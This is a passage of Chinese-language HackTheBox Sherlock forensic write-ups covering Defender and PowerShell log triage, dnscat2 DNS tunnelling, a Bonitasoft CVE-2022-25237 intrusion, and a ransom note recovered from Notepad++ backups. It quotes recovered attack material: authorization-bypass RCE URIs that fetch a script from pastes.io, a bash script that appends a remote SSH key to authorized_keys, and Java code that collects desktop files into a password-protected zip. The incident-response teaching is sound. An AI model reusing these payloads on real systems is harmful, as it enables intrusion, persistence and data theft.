cyberjunkie@hackthebox.eu(Task 7)防病毒软件相关Microsoft Defender 防病毒事件Id1000反恶意软件扫描已开始1001反恶意软件扫描已完成1002反恶意软件扫描在完成之前已停止1003反恶意软件扫描已暂停1004反恶意软件扫描已恢复1116反恶意软件平台检测到恶意软件或其他可能不需要的软件1117反恶意软件平台执行了一项操作，以保护您的系统免受恶意软件或其他可能不需要的软件的侵害。统计在Windows Defender的日志文件中出现的id$ cat all.json| jq -c | grep "Windows Defender-Operational.evtx" | jq -s '.[] | .EventId' | sort | uniq -c | sort -nr 152 5007 139 1116 71 1117 18 2000 18 1151 13 1150 11 2010 5 1001 5 1000 3 5001 3 5000 3 2014 2 2002 1 1013过滤事件id为1116的$ cat all.json | jq -c 'select(.TimeCreated > "2023-03-27T14:37:09" and .EventId == 1116) | .ExecutableInfo' "containerfile:_C:\\Users\\CyberJunkie\\Downloads\\SharpHound-v1.1.0.zip; "SharpHound被识别为恶意文件（Task 8）完整路径为C:\Users\CyberJunkie\Downloads\SharpHound-v1.1.0.zip(Task 9)对恶意文件执行操作的事件id为1117$ cat all.json | jq -c 'select(.TimeCreated > "2023-03-27T14:37:09" and .EventId == 1117) ' | jq -s '.[]|.Payload | fromjson| .EventData.Data|map(select(.["@Name"] == "Action Name"))' [ { "@Name": "Action Name", "#text": "Quarantine" } ]执行的操作为Quarantine(Task 10)Powershell 相关4103记录 PowerShell 会话的启动4014记录命令`cat all.jsonjq -c 'select(.EventId==4104 and .TimeCreated > "2023-03-27T14:37:09.8798913+00:00")'jq '.Payloadfromjson.EventData.Datamap(select(.["@Name"]=="ScriptBlockText"))'`执行了命令Get-FileHash -Algorithm md5 .\Desktop\Automation-HTB.ps1(Task 11)日志清除相关1102The audit log was cleared但通过过滤黑客登陆之后且事件id为1102的日志，数量为 0$ cat all.json | jq -c 'select(.EventId==1102 and .TimeCreated > "2023-03-27T14:37:09.8798913+00:00")' | wc -l 0过滤Event log cleared,发现还会一个事件id为104$ cat all.json | jq -c 'select(.EventId==104 and .TimeCreated > "2023-03-27T14:37:09.8798913+00:00")' | jq . Microsoft-Windows-Windows Firewall With Advanced Security/Firewall被清除的日志为Microsoft-Windows-Windows Firewall With Advanced Security/Firewall(Task 12)总结使用EvtxECmd工具将evtx文件转为json文件，使用jq进行处理需要查询EventId所对应的事件。
分类难度SOCEasyKhalid 刚刚登录了一台主机，他和他的团队将其用作测试主机，用于许多不同的目的。它脱离了公司网络，但可以访问网络上的大量资源。该主机被公司很多人用作垃圾场，但它非常有用，所以没有人提出任何问题。哈立德对此一无所知；机器已被破坏，不应该存在的公司信息现在已被盗 - 您需要弄清楚发生了什么以及哪些数据被盗取。TasksTask1: 乍一看，这次攻击似乎可疑的是哪种协议？Task2: 我们的主机与另一台主机之间似乎存在大量流量，可疑主机的 IP 地址是多少？Task3: 攻击者向客户端发送的第一个命令是什么？Task4: 攻击者使用的 DNS 隧道工具的版本是什么？Task5: 攻击者试图重命名他们意外留在客户端主机上的工具。他们给它起什么名字？Task6: 攻击者尝试枚举用户的云存储。他们在云存储目录中找到了多少文件？Task7: 被盗 PII 文件的完整位置是什么？Task8: 到底有多少客户 PII 记录被盗？推荐工具: wireshark, tshark, Brim Zui, zeek,suricata等分析过程下载完成解压后是一个pcap的流量包,使用wireshark 打开查看统计->协议分级,查看都有什么协议,在统计->端点中可以查看IP地址使用wireshark 看发现大部分都为dns协议,用suricata配合jq进行数据分析$ suricata -c /etc/suricata/suricata.yaml -r suspicious_traffic.pcap -l log // 生成文件 eve.json fast.log stats.log suricata.log // 随便看一下第一个 $ cat eve.json | jq -s '.[0]' { "timestamp": "2023-04-30T18:26:57.675436+0800", "flow_id": 367704534995173, "pcap_cnt": 21, "event_type": "dns", "src_ip": "192.168.157.144", "src_port": 59935, "dest_ip": "192.168.157.2", "dest_port": 53, "proto": "UDP", "pkt_src": "wire/pcap", "dns": { "type": "query", "id": 7728, "rrname": "buyadvupfor24.com", "rrtype": "A", "tx_id": 0, "opcode": 0 } }event_type 为协议类型,dns下的rrname为请求的域名吧(应该)统计一下协议的类型有哪些,并按照次数进行排序$ cat eve.json | jq -s '.[] | .event_type' | sort | uniq -c | sort -nr 12353 "dns" 1439 "flow" 361 "quic" 289 "tls" 122 "http" 120 "fileinfo" 5 "dhcp" 2 "ssh" 1 "stats"dns 协议占大头,因此猜测这次可疑的攻击使用的是DNS协议(Task 1),后续还会有验证接下来统计一下ip地址有哪些? 依旧是使用命令行:因为使用的是DNS协议,目标主机的端口应该多为53 $ cat eve.json | jq -s '.[] | if .dest_port == 53 then .dest_ip else empty end' | sort | uniq -c | sort -nr 10894 "192.168.157.145" 2161 "192.168.157.2"这段命令的含义:判断 目的端口是都为 53,如果是则输出对应的目的ip,否则不输出,然后再对这些ip地址进行去重,排序最多的ip地址为192.168.157.145(Task 2),为可疑的IP主机或者使用tshark进行统计$ tshark -r suspicious_traffic.pcap -Y 'udp.dstport == 53' -T fields -e 'ip.dst' | sort | uniq -c | sort -nr 5451 192.168.157.145 750 192.168.157.2 12 192.168.157.144,192.168.157.145结果同上。在分析过程中，发现dns的query中有很多类似于6bea00688135660021636f6d6d616e6420284445534b544f502d554d4e43.4245372900.microsofto365.com的域名，前面的十六进制是可以进行16进制解码的，提取一下：$ for i in $(cat eve.json | jq -s '.[] | .dns | .rrname' | grep 'microsofto365' | tr -d '"' | rev | cut -d'.' -f3-|rev);do echo ${i:18} | xxd -p -r; done | tee -a cmd.txt读取json文件，提取出域名进行处理，dns隧道前18个字符是固定的，没有含义，从第18个字符开始进行解码，另存为cmd.txt文件或者使用tshark提取$ tshark -r suspicious_traffic.pcap -Y 'dns' -T fields -e 'dns.qry.name' | tee -a dns.qry.name wpad.localdomain clientservices.googleapis.com clientservices.googleapis.com .... $ cat dns.qry.name | grep 'microsofto365.com' >> dns.query 617d01661b600a8981.microsofto365.com 617d01661b600a8981.microsofto365.com ... $ cat dns.query | rev | cut -d '.' -f3-|rev|tr -d '.' > hex.txt 2cea00661b600a0021636f6d6d616e6420284445534b544f502d554d4e434245372900 2cea00661b600a0021636f6d6d616e6420284445534b544f502d554d4e434245372900 ... $ for i in $(cat hex.txt );do echo ${i:18} | xxd -p -r;done | tee -a command2.txt // 结果同cmd.txtcmd.txt的内容就是命令行的输入与输出 C:\Users\test\Downloads> C:\Users\test\Downloads>cmd.exe (DESKTOP-UMNCBE7)cmd.exe (DESKTOP-UMNCBE7)..Microsoft Windows [Version 10.0.19045.2846] (c) Microsoft Corporation. All rights reserved. (c) Microsoft Corporation. All rights reserved. desktop-umncbe7\test C:\Users\test\Downloads>whoami攻击者发送的第一条命令就是whoami(Task 3)在攻击者输入dir查看文件目录时，输出中有一个可疑的文件28/05/2016 21:38 142,336 dnscat2-v0.07-client-win32.exednscat的版本为0.07(Task 4)下面有命令C:\Users\test\Downloads>ren dnscat2-v0.07-client-win32.exe win_installer.exe通过查询可以知道，ren的作用是文件重命名，将文件dnscat2-v0.07-client-win32.exe重命名为win_installer.exe(Task 5)以达到隐藏的效果C:\Users\test\OneDrive>dir Volume in drive C has no label. Volume Serial Number is 503A-D127 Directory of C:\Usdir Volume in drive C has no label. Volume Serial Number is 503A-D127 Directory of C:\Users\test\OneDrive 04/06/2021 08:52 . 04/06/2021 08:52 ers\test\OneDrive 04/06/2021 08:52 . 04/06/2021 08:52 .. 0 File(s) 0 bytes 2 Dir(s) 24,470,171,648 byt .. 0 File(s) 0 bytes 2 Dir(s) 24,470,171,648 bytes free通过这段命令执行的结果可以知道 OneDrive 云存储目录下没有文件，数量为 0(Task 6)继续看cmd.txt,攻击者读取文件C:\Users\test\Documents\client data optimisation\user details.csvC:\Users\test\Documents\client data optimisation>type "C:\Users\test\Documents\client data optimisation\user details.csv 0,Chief Tecence,current_location,blood_group,website,username,name,sex,address,mail,birthdate 0,Chief Technology Officer,Bennett Group,725-79-1073,"5021 Mary Glens ... 720,Ambulance person,"Smith, Collins and Brown",524-80-5753,"22",maria11@yahoo.com,1992-01-12 720,Ambulance person,"Smith, Collins and Brown",524-80-5753,"224 Randolph Mountain Suite 809被查看的PII文件路径为C:\Users\test\Documents\client data optimisation\user details.csv (Task 8),从第0行开始到第720行，共计721（Task 9）条数据总结这个流量包大小为40MB左右，还是比较大的，用WireShark分析会有些乏力，个人感觉图形化工具配合命令行进行分析，效率和效果都挺不错的。这篇文章主要是使用suricata将流量包转化为json文件，配合jq进行数据分析。使用WireShark + tshark 效果也不错。
分类难度SOCEasySherlock Scenario作为一家快速发展的初创公司，Forela 一直在利用业务管理平台。不幸的是，我们的文档很少，而且我们的管理员也不是最有安全意识的。作为我们新的安全提供商，我们希望您查看我们导出的一些 PCAP 和日志数据，以确认我们是否已（或尚未）受到损害。TasksTask 1: 请确认正在运行的应用程序的名称？Task 2: 我们认为攻击者可能使用了暴力破解攻击类别的子集 - 所执行的攻击的名称是什么？Task 3: 所利用的漏洞是否分配有 CVE - 如果有，是哪一个？Task 4: 攻击者利用哪个字符串附加到 API URL 路径来绕过授权过滤器？Task 5: 撞库攻击中使用了多少种用户名和密码组合？Task 6: 哪个用户名和密码组合成功？Task 7: 如果有的话，攻击者使用了哪个文本共享网站？Task 8: 请提供攻击者用于在我们的主机上获得持久性的公钥的文件名。Task 9: 您能否确认攻击者修改的文件以获得持久性？Task 10: 您能确认一下此类持久化机制的MITRE技术ID吗？相关工具： jq, wireshark分析流程两个文件，meerkat-alerts.json和meerkat.pcap使用 wireshark 分析流量包，统计-> 协议分级主要是IPV4, 有一些HTTP,SSH,DNS在统计->端点可以看到有151个IPV4分析一下日志(json文件),这里查看第一个$ cat meerkat-alerts.json | jq '.[0]' { "ts": "2023-01-19T15:44:49.669971Z", "event_type": "alert", "src_ip": "89.248.165.187", "src_port": 52870, "dest_ip": "172.31.6.44", "dest_port": 10227, "vlan": null, "proto": "TCP", "app_proto": null, "alert": { "severity": 2, "signature": "ET CINS Active Threat Intelligence Poor Reputation IP group 82", "category": "Misc Attack", "action": "allowed", "signature_id": 2403381, "gid": 1, "rev": 80387, "metadata": { "signature_severity": [ "Major" ], "former_category": null, "attack_target": [ "Any" ], "deployment": [ "Perimeter" ], "affected_product": [ "Any" ], "created_at": [ "2013_10_08" ], "performance_impact": null, "updated_at": [ "2023_01_18" ], "malware_family": null, "tag": [ "CINS" ] } }, "flow_id": 519087154346259, "pcap_cnt": 6292, "tx_id": null, "icmp_code": null, "icmp_type": null, "tunnel": null, "community_id": "1:+BXi7peXaBKuiEO4y3Ya0UlQMMQ=" }event_type为alert,统计一下event_type有哪些值$ cat meerkat-alerts.json | jq '.[] | .event_type' | sort | uniq -c | sort -nr 261 "alert" 2 null只有alert和null接着统计一下alert中的signature的值$ cat meerkat-alerts.json | jq '.[] | .alert.signature'| sort | uniq -c | sort -nr 134 "ET INFO User-Agent (python-requests) Inbound to Webserver" 59 "ET WEB_SPECIFIC_APPS Bonitasoft Default User Login Attempt M1 (Possible Staging for CVE-2022-25237)" 17 "ET DROP Dshield Block Listed Source group 1" 12 "ET EXPLOIT Bonitasoft Authorization Bypass M1 (CVE-2022-25237)" 6 "ET POLICY GNU/Linux APT User-Agent Outbound likely related to package management" 4 "GPL WEB_SERVER DELETE attempt" 4 "ET EXPLOIT Bonitasoft Successful Default User Login Attempt (Possible Staging for CVE-2022-25237)" 4 "ET EXPLOIT Bonitasoft Authorization Bypass and RCE Upload M1 (CVE-2022-25237)" 3 "ET CINS Active Threat Intelligence Poor Reputation IP group 84" 3 "ET CINS Active Threat Intelligence Poor Reputation IP group 82" 2 null 1 "GPL SNMP public access udp" 1 "ET SCAN Suspicious inbound to PostgreSQL port 5432" 1 "ET SCAN Suspicious inbound to Oracle SQL port 1521"在告警中多次提到 CVE-2022-25237 (Task 3),漏洞是WEB_SPECIFIC_APPS Bonitasoft Default User Login Attempt M1,通过搜索Bonitasoft可以知道,Bontiasoft是一个开源业务流程管理 (BPM) 工具(Task 1)登陆账号一般采用POST传参,过滤post传参,并对body进行输出// 第一种过滤方法 tshark -r meerkat.pcap -Y 'http.request.method == POST' -T fields -e text | cut -d":" -f2- | rev | cut -d',' -f2-|rev | grep @ | sort | uniq -c | sort -nr | wc -l // 第二种过滤方法 tshark -r meerkat.pcap -Y 'http.request.method == POST' -T fields -e urlencoded-form.value | grep @ | sort | uniq -c | sort -nr | wc -l比较推荐第二种方法:通过观察请求可以知道,有几个特点:POST 请求账号为邮箱,带@在wireshark中,复制出POST传参的数据所对应的字段名称,打印出来后,进行过滤(带@)的行,进行去重即可得到,共有56对凭据(Task 5)攻击手段为Credential Stuffing(Task 2)其中有一对seb.broom@forela.co.uk:g0vernm3nt凭据进行认证了四次使用wireshark进一步分析POST /bonita/loginservice HTTP/1.1 Host: forela.co.uk:8080 User-Agent: python-requests/2.28.1 Accept-Encoding: gzip, deflate Accept: */* Connection: keep-alive Content-Type: application/x-www-form-urlencoded Cookie: x=x Content-Length: 65 username=Mathian.Skidmore%40forela.co.uk&password=TQSNp6XrK&_l=en HTTP/1.1 401 Content-Length: 0 Date: Thu, 19 Jan 2023 15:37:31 GMT Keep-Alive: timeout=20 Connection: keep-alive ------------------------------------------------------------------------ POST /bonita/loginservice HTTP/1.1 Host: forela.co.uk:8080 User-Agent: python-requests/2.28.1 Accept-Encoding: gzip, deflate Accept: */* Connection: keep-alive Content-Type: application/x-www-form-urlencoded Cookie: x=x Content-Length: 59 username=seb.broom%40forela.co.uk&password=g0vernm3nt&_l=en HTTP/1.1 204 Set-Cookie: bonita.tenant=1; SameSite=Lax Set-Cookie: JSESSIONID=745EE4F7243DA99264F07781FBB9B4E3; Path=/bonita; HttpOnly; SameSite=Lax Set-Cookie: X-Bonita-API-Token=1ccb3fac-8abd-4cc0-a52e-bb5811198cdf; Path=/bonita; SameSite=Lax Set-Cookie: BOS_Locale=en; Path=/; SameSite=Lax Date: Thu, 19 Jan 2023 15:38:52 GMT Keep-Alive: timeout=20 Connection: keep-alive使用错误的账号密码登陆,响应码为 401 (认证失败或未认证),使用seb.broom@forela.co.uk:g0vernm3nt这对凭据登陆,响应码204 (成功状态响应码)因此seb.broom@forela.co.uk:g0vernm3nt(Task 6)就是正确的账号密码在分析请求的uri,发现了可以的uri,有大量的API接口调用,而CVE-2022-25237就是一个和API相关的RCE漏洞$ tshark -r meerkat.pcap -Y 'http.request.uri' -T fields -e 'http.request.uri' | grep -i api Running as user "root" and group "root". This could be dangerous. /bonita/API/pageUpload;i18ntranslation?action=add /bonita/API/portal/page/;i18ntranslation /bonita/API/extension/rce?p=0&c=1&cmd=whoami /bonita/API/portal/page/130;i18ntranslation /bonita/API/pageUpload;i18ntranslation?action=add /bonita/API/portal/page/;i18ntranslation /bonita/API/extension/rce?p=0&c=1&cmd=cat%20/etc/passwd /bonita/API/portal/page/131;i18ntranslation /bonita/API/pageUpload;i18ntranslation?action=add /bonita/API/portal/page/;i18ntranslation /bonita/API/extension/rce?p=0&c=1&cmd=wget%20https://pastes.io/raw/bx5gcr0et8 /bonita/API/portal/page/132;i18ntranslation /bonita/API/pageUpload;i18ntranslation?action=add /bonita/API/portal/page/;i18ntranslation /bonita/API/extension/rce?p=0&c=1&cmd=bash%20bx5gcr0et8 /bonita/API/portal/page/133;i18ntranslation执行命令中的pastes.io(Task 7)是一个文本共享网站,该CVE是使用i18ntranslation(Task 4)来绕过授权过滤器的.访问https://pastes.io/raw/bx5gcr0et8,是一个bash脚本,获取的公钥文件名为hffgra4unv(Task 8)#!/bin/bash curl https://pastes.io/raw/hffgra4unv >> /home/ubuntu/.ssh/authorized_keys sudo service ssh restart将一个公钥写入到文件/home/ubuntu/.ssh/authorized_keys(Task 9)中,并重启ssh服务MITRE ID为Account Manipulation: SSH Authorized Keys: T1098.004(Task 10)攻击者的攻击流程:暴力破解-> 成功登录 -> 利用CVE-2022-25237 -> 下载shell脚本 -> 执行shell脚本,写入公钥 -> 最后应该是进行了ssh连接总结这个流量包记录了网站被攻击的流量,攻击者的攻击流程都在流量包中有记录,已经json文件应该是某安全设备针对捕获的流量进行分析,得出是利用的某个CVE,在知道攻击手段后,结合流量能够够容易的有条理的分析攻击链.
分类难度DFIREasySimon 是 Forela 的一名开发人员，他向 CERT 团队通报了他桌面上出现的一条注释。该说明声称他的系统已被破坏，并且西蒙工作站的敏感数据已被收集。犯罪者在他的工作站上进行了数据勒索，现在威胁要在暗网上发布数据，除非他们的要求得到满足。 Simon 的工作站包含多个敏感文件，包括计划的软件项目、内部开发计划和应用程序代码库。威胁情报团队认为威胁行为者犯了一些错误，但他们尚未找到任何联系威胁行为者的方式。该公司的利益相关者坚持要求解决这一事件并恢复所有敏感数据。他们要求在任何情况下都不得泄露数据。作为我们的初级安全分析师，在此案例中，您被分配进行特定类型的 DFIR（数字取证和事件响应）调查。 CERT 负责人在对工作站进行分类后，仅向您提供了 Notepad++ 工件，怀疑攻击者创建了勒索记录并通过手动键盘访问进行了其他活动。您的职责是确定攻击是如何发生的，并找到联系威胁行为者的方法，因为他们不小心锁定了自己的联系信息。TasksTask 1: Simon 用于 AWS 操作的脚本的完整路径是什么？Task 2: 攻击者复制了一些程序代码并将其编译在系统上，因为他们知道受害者是一名软件工程师并且拥有所有必要的实用程序。他们这样做是为了融入环境，并且没有携带任何工具。该代码收集敏感数据并准备将其泄露。程序源文件的完整路径是什么？Task 3: 包含所有要泄露的数据的最终存档文件的名称是什么？Task 4: 攻击者最后一次修改程序源文件时的 UTC 时间戳是多少？Task 5: 攻击者在窃取数据后编写了数据勒索记录。攻击者要求付款的加密钱包地址是什么？Task 6: 寻求支持的联系人的电子邮件地址是什么？分析过程将文件下载解压之后$ tree . └── C └── Users └── Simon.stark └── AppData └── Roaming └── Notepad++ ├── backup │ ├── LootAndPurge.java@2023-07-24_145332 │ └── YOU HAVE BEEN HACKED.txt@2023-07-24_150548 ├── config.xml └── session.xml只有四个文件java文件的main函数public static void main(String[] args) { String username = System.getProperty("user.name"); String desktopDirectory = "C:\\Users\\" + username + "\\Desktop\\"; List<String> extensions = Arrays.asList("zip", "docx", "ppt", "xls", "md", "txt", "pdf"); List<File> collectedFiles = new ArrayList<>(); collectFiles(new File(desktopDirectory), extensions, collectedFiles); String zipFilePath = desktopDirectory + "Forela-Dev-Data.zip"; String password = "sdklY57BLghvyh5FJ#fion_7"; createZipArchive(collectedFiles, zipFilePath, password); System.out.println("Zip archive created successfully at: " + zipFilePath); }源码的功能是将用户桌面上的这些后缀的文件打包为压缩包Forela-Dev-Data.zip(Task 3)，密码为sdklY57BLghvyh5FJ#fion_7.文件YOU HAVE BEEN HACKED.txt@2023-07-24_150548是勒索文件的介绍内容，其中有三个链接Hello This note is placed in your desktop and copied to other locations too. You have been hacked and your data has been deleted from your system. We made copies of your sensitive data and uploaded to our servers. The rule is simple YOU PAY US AND WE DO NOT RELEASE YOUR COMPANY SECRETS TO PUBLIC AND RETURN YOUR DATA SAFELY TO YOU Failiure to oblige will result in immediate data leak to the public. For detailed information and process , Visit any of the below links i) https://pastebin.ai/bigbsy36to ii) https://pastebin.com/xmTkajd5 iii) https://pastecode.io/s/0rqtutec访问后需要密码，尝试使用压缩包的密码sdklY57BLghvyh5FJ#fion_7,打开后是也是勒索相关的信息If you are here then you have no other choice then to pay us. Your Sensitive DATA is in our hands and we WILL release it to PUBLIC by midnight if you don't pay us a ransom. We want 50000 $ in ETH currency by midnight. This amount is very reasonable as we know FORELA is a multi million dollar company, but since we were able to extort small amount of data, this is our final offer. Ethereum wallet : 0xca8fa8f0b631ecdb18cda619c4fc9d197c8affca Person of contact : CyberJunkie@mail2torjgmxgexntbrmhvgluavhj7ouul5yar6ylbvjkxwqf6ixkwyd.onion钱包地址为：0xca8fa8f0b631ecdb18cda619c4fc9d197c8affca （Task 5）联系的邮箱地址为： CyberJunkie@mail2torjgmxgexntbrmhvgluavhj7ouul5yar6ylbvjkxwqf6ixkwyd.onion ( Task 6 )文件config.xml <History nbMaxFile="10" inSubMenu="no" customLength="-1"> <File filename="C:\Program Files\Notepad++\change.log" /> <File filename="C:\Users\Simon.stark\Documents\Internal-DesktopApp\Prototype-Internal_Login.cs" /> <File filename="C:\Users\Simon.stark\Documents\Dev-WebServer-BetaProd\dev2prod_fileupload.php" /> <File filename="C:\Users\Simon.stark\Documents\Internal-DesktopApp\App_init_validation.yml" /> <File filename="C:\Users\Simon.stark\Documents\Dev_Ops\AWS_objects migration.pl" /> </History>C:\Users\Simon.stark\Documents\Dev_Ops\AWS_objects migration.pl为AWS 操作的脚本。（Task 1）可以使用命令行进行查找--grep -i "aws" -r ./攻击者的恶意源代码是java程序，同样也可以使用命令行查找--grep -i java -r ./，找到 filename="C:\Users\Simon.stark\Desktop\LootAndPurge.java"(Task 2)$ grep -i 'time' -r ./ backupFilePath="C:\Users\Simon.stark\AppData\Roaming\Notepad++\backup\LootAndPurge.java@2023-07-24_145332" originalFileLastModifTimestamp="-1354503710" originalFileLastModifTimestampHigh="31047188" >>> (31047188 * pow(2,32)) + (pow(2,32) - 1354503710) >>> 133346660033227234java文件的修改时间相关链接1相关链接2时间戳转换网站2023-07-24 09:53:23 (Task 4)总结不难，就时间转换有点xx。